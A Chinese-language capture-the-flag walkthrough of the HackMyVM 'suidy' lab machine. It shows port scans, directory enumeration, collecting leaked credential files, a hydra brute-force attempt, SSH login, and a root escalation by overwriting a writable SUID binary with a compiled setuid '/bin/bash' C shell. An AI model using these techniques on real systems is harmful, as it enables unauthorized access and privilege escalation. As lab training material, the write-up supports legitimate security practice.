主机发现

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# arp-scan -I eth1 -l

192.168.56.117  08:00:27:ac:df:4d       PCS Systemtechnik GmbH
```

主机地址为：`192.168.56.117`

端口扫描

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# nmap -p- 192.168.56.117

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# nmap -sT -sC -sV -O -p22,80 192.168.56.117
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-28 22:01 CST
Nmap scan report for 192.168.56.117
Host is up (0.00077s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 8a:cb:7e:8a:72:82:84:9a:11:43:61:15:c1:e6:32:0b (RSA)
|   256 7a:0e:b6:dd:8f:ee:a7:70:d9:b1:b5:6e:44:8f:c0:49 (ECDSA)
|_  256 80:18:e6:c7:01:0e:c6:6d:7d:f4:d2:9f:c9:d0:6f:4c (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:AC:DF:4D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.30 seconds
```

发现开放了22和80端口

探测80端口

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# curl 192.168.56.117

hi

<!-- hi again -->
```

发现没什么东西

目录枚举

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# dirsearch -u http://192.168.56.117/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_|||  _) (/_(_|| (_| )



[22:04:21] Starting:
[22:05:29] 200 -  362B  - /robots.txt
```

扫描出来有个`/robots.txt`

访问`/robots.txt`

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# curl 192.168.56.117/robots.txt
/hi
/....\..\.-\--.\.-\..\-.
(...省略一万空行...)
/shehatesme
```

访问`/shehatesme`

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# curl 192.168.56.117/shehatesme/
She hates me because I FOUND THE REAL SECRET!
I put in this directory a lot of .txt files.
ONE of .txt files contains credentials like "theuser/thepass" to access to her
system!
All that you need is an small dict from Seclist!
```

1. 要枚举`.txt`后缀的文件
2. 密码类似`theuser/thepass`
3. 在`Seclist`下的小字典

找小字典，枚举后缀

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# gobuster dir -u http://192.168.56.117/shehatesme/ -w
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -
x .txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.117/shehatesme/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-
medium-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin.txt            (Status: 200) [Size: 16]
/search.txt           (Status: 200) [Size: 16]
/blog.txt             (Status: 200) [Size: 16]
/page.txt             (Status: 200) [Size: 16]
/forums.txt           (Status: 200) [Size: 16]
/about.txt            (Status: 200) [Size: 16]
/es.txt               (Status: 200) [Size: 16]
/new.txt              (Status: 200) [Size: 16]
/link.txt             (Status: 200) [Size: 16]
/jobs.txt             (Status: 200) [Size: 16]
/java.txt             (Status: 200) [Size: 16]
/privacy.txt          (Status: 200) [Size: 16]
/google.txt           (Status: 200) [Size: 16]
/art.txt              (Status: 200) [Size: 16]
/other.txt            (Status: 200) [Size: 16]
/guide.txt            (Status: 200) [Size: 16]
/welcome.txt          (Status: 200) [Size: 16]
/secret.txt           (Status: 200) [Size: 16]
/network.txt          (Status: 200) [Size: 16]
/faqs.txt             (Status: 200) [Size: 16]
/issues.txt           (Status: 200) [Size: 16]
/space.txt            (Status: 200) [Size: 16]
/folder.txt           (Status: 200) [Size: 16]
/smilies.txt          (Status: 200) [Size: 16]
/2001.txt             (Status: 200) [Size: 16]
/full.txt             (Status: 200) [Size: 16]
/airport.txt          (Status: 200) [Size: 16]
Progress: 53166 / 53166 (100.00%)
===============================================================
Finished
===============================================================
```

沃趣，20多个（我这里选择了大一点的文件，small和medium扫出来是一样的）

找密码，登录shell

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# curl 192.168.56.117/shehatesme/admin.txt
jaime11/JKiufg6


┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# curl 192.168.56.117/shehatesme/search.txt
jaime11/JKiufg6


┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# curl 192.168.56.117/shehatesme/about.txt
jaime11/JKiufg6
```

随机试验法😜

服了，随机法被针对了

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# cat url.txt
(......)
/full.txt             (Status: 200) [Size: 16]
/airport.txt          (Status: 200) [Size: 16]
```

把路径过滤出来

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# awk '{print $1}' url.txt
(......)
/full.txt
/airport.txt
#把这些覆盖到url.txt中
```

循环请求（可能有点丑陋）

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# for line in $(cat url.txt);do
for> curl 192.168.56.117/shehatesme/$line >> pass.txt
for> done
```

拿到密码本

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# cat pass.txt
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jhfbvgt/iugbnvh
john765/FDrhguy
jaime11/JKiufg6
jaime11/JKiufg6
```

```
hidden1/passZZ!
jaime11/JKiufg6
maria11/jhfgyRf
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
mmnnbbv/iughtyr
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
smileys/98GHbjh
jaime11/JKiufg6
yuijhse/hjupnkk
nhvjguy/kjhgyut
```

处理一下，爆破

```
#按/为分割符，拿出第一列当用户名，第二列为密码
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# awk -F '/' '{print $1}' pass.txt > user.txt

┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# awk -F '/' '{print $2}' pass.txt > upass.txt
```

对内容进行去重（因为hydra会一对多进行爆破，节约时间）

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# awk '!seen[$0]++' user.txt >theuser.txt

┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# awk '!seen[$0]++' upass.txt >thepass.txt
```

爆破完，沃趣没有（思考🤔）

`theuser/thepass`这好像也是用户名和密码耶

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/suidy]
└─# ssh theuser@192.168.56.117
theuser@192.168.56.117's password:
Linux suidy 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 27 00:41:28 2020
theuser@suidy:~$
```

.....

user.txt

```
theuser@suidy:~$ cat user.txt
HMV2353IVI
```

theuser ---> suidy

发现没有sudo -l 就看看`etc,tmp,opt,home`这些文件夹和里面文件的权限

```
theuser@suidy:~$ ls -al /home/suidy/
total 52
drwxr-xr-x 3 suidy suidy    4096 sep 27  2020 .
drwxr-xr-x 4 root  root     4096 sep 26  2020 ..
-rw------- 1 suidy suidy      12 sep 27  2020 .bash_history
-rw-r--r-- 1 suidy suidy     220 sep 26  2020 .bash_logout
-rw-r--r-- 1 suidy suidy    3526 sep 26  2020 .bashrc
drwxr-xr-x 3 suidy suidy    4096 sep 26  2020 .local
-r--r----- 1 suidy suidy     197 sep 26  2020 note.txt
-rw-r--r-- 1 suidy suidy     807 sep 26  2020 .profile
-rwsrwsr-x 1 root  theuser 16704 sep 26  2020 suidyyyyy
```

发现用户`suidy`有个有suid权限的文件

`string`查看一下

```
theuser@suidy:~$ strings ../suidy/suidyyyyy

setuid
system
setgid
/bin/bash
(...省略...)
```

发现有这些，不管先跑一下

```
theuser@suidy:~$ ./../suidy/suidyyyyy
suidy@suidy:~$ id
uid=1001(suidy) gid=1000(theuser)
grupos=1000(theuser),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev
),109(netdev)
suidy@suidy:~$
```

成功获得用户`suidy`的权限

```
suidy@suidy:/home/suidy$ cat note.txt
I love SUID files!
The best file is suidyyyyy because users can use it to feel as I feel.
root know it and run an script to be sure that my file has SUID.
If you are "theuser" I hate you!

-suidy
```

提权

`root know it and run an script to be sure that my file has SUID.`

那就说明root运行着一个脚本给`suidyyyyy`加权限

那现在就是要个这个文件写入恶意提权代码了

> 为什么不能创建一个同名文件
>
> 因为同名文件会导致所属者改变，导致无法达到提权的效果

```
//shell.c
#include<unistd.h>
#include<stdlib.h>

int main(){
        setuid(0);
        setgid(0);
        system("/bin/bash");
        return 0;
}
```

```
suidy@suidy:/home/suidy$ gcc shell.c -o shell
suidy@suidy:/home/suidy$ ls -al
total 3516
drwxr-xr-x 3 suidy suidy      4096 nov 28 16:43 .
drwxr-xr-x 4 root  root       4096 sep 26  2020 ..
-rw------- 1 suidy suidy        12 sep 27  2020 .bash_history
-rw-r--r-- 1 suidy suidy       220 sep 26  2020 .bash_logout
-rw-r--r-- 1 suidy suidy      3526 sep 26  2020 .bashrc
drwxr-xr-x 3 suidy suidy      4096 sep 26  2020 .local
-r--r----- 1 suidy suidy       197 sep 26  2020 note.txt
-rw-r--r-- 1 suidy suidy       807 sep 26  2020 .profile
-rwxr-xr-x 1 suidy theuser 3518724 nov 28 16:25 pspy64
-rwxr-xr-x 1 suidy theuser   16712 nov 28 16:43 shell
-rw-r--r-- 1 suidy theuser     110 nov 28 16:42 shell.c
```

```
-rwsrwsr-x 1 root  theuser   16704 sep 26  2020 suidyyyyy
```

沃趣有点妙

由于我们是通过`suidyyyyy`拿到的shell，所有需要退出当前用户才能更改

```
drwxr-xr-x 3 suidy suidy      4096 nov 28 16:43 .
-rwxr-xr-x 1 suidy theuser   16712 nov 28 16:43 shell
-rwsrwsr-x 1 root  theuser   16704 sep 26  2020 suidyyyyy
```

绝妙的权限，需要现在赋777权限（赋到组可读写就行了）

```
suidy@suidy:/home/suidy$ chmod 777 shell
suidy@suidy:/home/suidy$ exit
exit
theuser@suidy:~$ cd ../suidy/
theuser@suidy:/home/suidy$ cat shell > suidyyyyy
```

赋权，退出，写入

```
theuser@suidy:/home/suidy$ ./suidyyyyy
root@suidy:/home/suidy# id
uid=0(root) gid=0(root)
grupos=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(
netdev),1000(theuser)
```

等他一手，重新执行成功拿到root用户

root.txt

```
root@suidy:/root# cat root.txt
HMV0000EVE
```

timer.sh赋权程序

```
root@suidy:/root# ls -al
-rwxr-xr-x  1 root root   42 sep 26  2020 timer.sh

root@suidy:/root# cat timer.sh
#!/bin/sh
chmod +s /home/suidy/suidyyyyy
```